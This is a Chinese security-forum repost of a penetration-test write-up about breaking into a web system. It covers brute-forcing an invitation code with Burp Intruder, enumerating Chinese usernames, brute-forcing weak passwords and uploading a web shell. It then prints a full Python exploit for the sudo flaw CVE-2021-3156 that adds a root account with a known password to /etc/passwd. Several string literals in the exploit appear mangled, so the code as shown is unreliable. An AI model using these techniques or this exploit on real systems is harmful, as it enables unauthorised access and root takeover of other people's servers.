安全矩阵

 找回密码
 立即注册
搜索
查看: 778|回复: 0

如何巧用burp安排某系统

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-9 11:20:29 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-9 11:49 编辑

如何巧用burp安排某系统
带头小哥 潇湘信安
2023-02-07 08:30 发表于湖南
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
          请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
                        

本篇过程均有授权,是为合法合规渗透。文章纯属虚构,如有雷同实属巧合!

0x01 打点
开局又是一个登录框,扫了目录没有其他入口。难道又要祭出拿手绝招(爆破弱口令吗),思路清晰,开搞。

直接上来爆破弱口令是行不通的,因为不知道账号规则去胡乱爆破一通,很容易被对方防护设备拦截到把自身的IP地址暴露或者被封禁。
看到有一个立即注册和忘记密码觉得可以搞一搞。
首先打开立即注册页面

可以看到我们可以去注册一个账号,输入账号、密码、手机号来注册尝试一下。(输入账号的时候尝试输入英文字母和数字是无法输入的,只能输入汉字,这点可以猜测账号是中文。)
之前以为这个邀请码是随便输入的,看来是不行的,用burp爆破一下邀请码吧。

burp抓包就不说了,intruder模块配置选择数值,从00000-99999增量选择1。

成功爆出邀请码,但是可以看到成功注册了,但是需要审核,先登录一下试试。

虽然成功爆破到了邀请码,但是注册的账号没有审核还是无法登录。

不过我们之前注册账号的时候可以得知:账号命名规则是中文,那我们用burp来导入常见中文姓名来尝试爆破。

可以看到中文账号这里是经过url编码的,如果我们直接把中文导入burp是会乱码的,像这样。


我们需要把中文姓名经过URL编码之后再导入,用站长之家的在线工具就行
编辑
编辑

在爆破过程中发现有的显示账户不存在,有的显示密码不正确,然而返回包的长度都是一样的,有没有什么快速区分他们的方法呢,其实burp简单配置一下就可以实现这个功能。
编辑
编辑

打开intruder的Options设置,找到Grep-Match,可以看到这个功能可以通过字符串或正则表达式进行内容匹配
编辑

先把原有的清空,然后输入我们想匹配的字符串,想要匹配中文字符的话可以先把中文字符转换成十六进制,然后通过正则匹配。

我们来匹配密码不正确的,使用python把密码不正确转换成十六进制
编辑

然后把转换好的添加进去。
编辑

可以看到长度后面就是我们匹配的字符,这样就可以把存在的账号收集起来然后去爆破弱口令。
编辑

成功爆破出来一个账号
编辑

登录进去
编辑

找个上传点上传shell,一气呵成。
编辑
编辑

看下系统权限
编辑

查看系统版本
编辑

可以看到是centos的系统,可以尝试使用sudo提权。

0x02 提权
sudo本地提权漏洞(CVE-2021-3156)
Sudo是一个功能强大的工具,其允许普通用户执行root权限命令,大多数基于Unix和Linux的操作系统都包含sudo。
2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。
当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
安全研究人员于1月26日公开披露了此漏洞,并表示该漏洞已经隐藏了近十年。
影响范围
Sudo 1.8.2 - 1.8.31p2Sudo 1.9.0 - 1.9.5p1
查看一下sudo的版本,可以看到这个版本是存在漏洞的。
编辑

纠正一点,网上有的说“使用sudoedit -s /命令,如果出现以“ sudoedit:”开头的错误响应,则系统受到此漏洞影响;如果出现以“ usage:”开头的错误响应,则表示该漏洞已被补丁修复”这个说法是不准确的。

具体的大家可以自己尝试,不要因为没有显示“sudoedit”就觉得不存在漏洞。
编辑

使用一个python脚本
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import resource
  5. from struct import pack
  6. from ctypes import cdll, c_char_p, POINTER

  7. SUDO_PATH = b"/usr/bin/sudo"

  8. PASSWD_PATH = '/etc/passwd'
  9. APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";

  10. #STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled
  11. STACK_ADDR_PAGE = 0x7fffe5d35000

  12. libc = cdll.LoadLibrary("libc.so.6")
  13. libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

  14. def execve(filename, cargv, cenvp):
  15.     libc.execve(filename, cargv, cenvp)

  16. def spawn_raw(filename, cargv, cenvp):
  17.     pid = os.fork()
  18.     if pid:
  19.         # parent
  20.         _, exit_code = os.waitpid(pid, 0)
  21.         return exit_code
  22.     else:
  23.         # child
  24.         execve(filename, cargv, cenvp)
  25.         exit(0)

  26. def spawn(filename, argv, envp):
  27.     cargv = (c_char_p * len(argv))(*argv)
  28.     cenvp = (c_char_p * len(env))(*env)
  29.     return spawn_raw(filename, cargv, cenvp)

  30. resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

  31. # expect large hole for cmnd size is correct
  32. TARGET_CMND_SIZE = 0x1b50

  33. argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\", None ]

  34. SA = STACK_ADDR_PAGE

  35. ADDR_REFSTR = pack('<Q', SA+0x20) # ref string

  36. ADDR_PRIV_PREV = pack('<Q', SA+0x10)
  37. ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
  38. ADDR_MEMBER_PREV = pack('<Q', SA+0x20)

  39. ADDR_DEF_VAR = pack('<Q', SA+0x10)
  40. ADDR_DEF_BINDING = pack('<Q', SA+0x30)

  41. OFFSET = 0x30 + 0x20
  42. ADDR_USER = pack('<Q', SA+OFFSET)
  43. ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
  44. ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
  45. ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)

  46. # for spraying
  47. epage = [
  48.     'A'*0x8 + # to not ending with 0x00

  49.     # fake def->var chunk (get freed)
  50.     '\x21', '', '', '', '', '', '',
  51.     ADDR_PRIV[:6], '',  # pointer to privilege
  52.     ADDR_CMND[:6], '',  # pointer to cmndspec
  53.     ADDR_MEMBER[:6], '',  # pointer to member

  54.     # fake def->binding (list head) (get freed)
  55.     '\x21', '', '', '', '', '', '',
  56.     '', '', '', '', '', '', '', '',  # members.first
  57.     'A'*0x10 + # members.last, pad

  58.     # userspec chunk (get freed)
  59.     '\x41', '', '', '', '', '', '', # chunk metadata
  60.     '', '', '', '', '', '', '', '',  # entries.tqe_next
  61.     'A'*8 +  # entries.tqe_prev
  62.     '', '', '', '', '', '', '', '',  # users.tqh_first
  63.     ADDR_MEMBER[:6]+'', '', # users.tqh_last
  64.     '', '', '', '', '', '', '', '',  # privileges.tqh_first
  65.     ADDR_PRIV[:6]+'', '', # privileges.tqh_last
  66.     '', '', '', '', '', '', '', '',  # comments.stqh_first

  67.     # member chunk
  68.     '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
  69.     'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
  70.     ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file (ref string)
  71.     'A'*8 + # member.name (can be any because this object is not freed)
  72.     pack('<H', 284), '',  # type, negated
  73.     'A'*0xc+ # padding

  74.     # cmndspec chunk
  75.     '\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
  76.     'A'*0x8 + # entries.tqe_next
  77.     ADDR_CMND_PREV[:6], '',  # entries.teq_prev
  78.     '', '', '', '', '', '', '', '',  # runasuserlist
  79.     '', '', '', '', '', '', '', '',  # runasgrouplist
  80.     ADDR_MEMBER[:6], '',  # cmnd
  81.     '\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
  82.     '', '', '', '', '', '', '', '',  # role
  83.     '', '', '', '', '', '', '', '',  # type
  84.     'A'*8 + # padding

  85.     # privileges chunk
  86.     '\x51'*0x8 + # chunk metadata
  87.     'A'*0x8 + # entries.tqe_next
  88.     ADDR_PRIV_PREV[:6], '',  # entries.teq_prev
  89.     'A'*8 + # ldap_role
  90.     'A'*8 + # hostlist.tqh_first
  91.     ADDR_MEMBER[:6], '',  # hostlist.teq_last
  92.     'A'*8 +  # cmndlist.tqh_first
  93.     ADDR_CMND[:6], '',  # cmndlist.teq_last
  94. ]

  95. cnt = sum(map(len, epage))
  96. padlen = 4096 - cnt - len(epage)
  97. epage.append('P'*(padlen-1))

  98. env = [
  99.     "A"*(7+0x4010 + 0x110) + # overwrite until first defaults
  100.     "\x21\", "\", "\", "\", "\", "\", "\",
  101.     "A"*0x18 +
  102.     # defaults
  103.     "\x41\", "\", "\", "\", "\", "\", "\", # chunk size
  104.     "\", "\", "\", "\", "\", "\", "\", "\", # next
  105.     'a'*8 + # prev
  106.     ADDR_DEF_VAR[:6]+'\\', '\\', # var
  107.     "\", "\", "\", "\", "\", "\", "\", "\", # val
  108.     ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
  109.     ADDR_REFSTR[:6]+'\\', '\\',  # file
  110.     "Z"*0x8 +  # type, op, error, lineno
  111.     "\x31\", "\", "\", "\", "\", "\", "\", # chunk size (just need valid)
  112.     'C'*0x638+  # need prev_inuse and overwrite until userspec
  113.     'B'*0x1b0+
  114.     # userspec chunk
  115.     # this chunk is not used because list is traversed with curr->prev->prev->next
  116.     "\x61\", "\", "\", "\", "\", "\", "\", # chunk size
  117.     ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
  118.     "A"*8 + # entries.tqe_prev
  119.     "\", "\", "\", "\", "\", "\", "\", "\",  # users.tqh_first
  120.     ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
  121.     "\", "\", "\", "\", "\", "\", "\", "",  # privileges.tqh_first

  122.     "LC_ALL=C",
  123.     "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
  124.     "TZ=:",
  125. ]

  126. ENV_STACK_SIZE_MB = 4
  127. for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
  128.     env.extend(epage)

  129. # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
  130. env[-1] = env[-1][:-len(SUDO_PATH)-1-8]

  131. env.append(None)

  132. cargv = (c_char_p * len(argv))(*argv)
  133. cenvp = (c_char_p * len(env))(*env)

  134. # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
  135. r, w = os.pipe()
  136. os.dup2(r, 0)
  137. w = os.fdopen(w, 'w')
  138. w.write(APPEND_CONTENT)
  139. w.close()

  140. null_fd = os.open('/dev/null', os.O_RDWR)
  141. os.dup2(null_fd, 2)

  142. for i in range(8192):
  143.     sys.stdout.write('%d\r' % i)
  144.     if i % 8 == 0:
  145.         sys.stdout.flush()
  146.     exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
  147.     if exit_code == 0:
  148.         print("success at %d" % i)
  149.         break
复制代码

这个脚本使用python2运行,部分centos自带python的。把脚本上传到网站目录,然后反弹一个交互shell,运行脚本。

成功后会生成一个aa的用户,默认密码为www

0x03 结论
善于运用工具可以为渗透带来极大的便利,尤其是BURP是一个非常强大的工具,这次渗透就是运用了BURP的各种功能,还有很多功能也是非常好用的,大家可以多研究。​​​​​​​
文章来源:奇安信攻防社区(带头小哥)原文地址:https://forum.butian.net/share/1096


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:49 , Processed in 0.015065 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表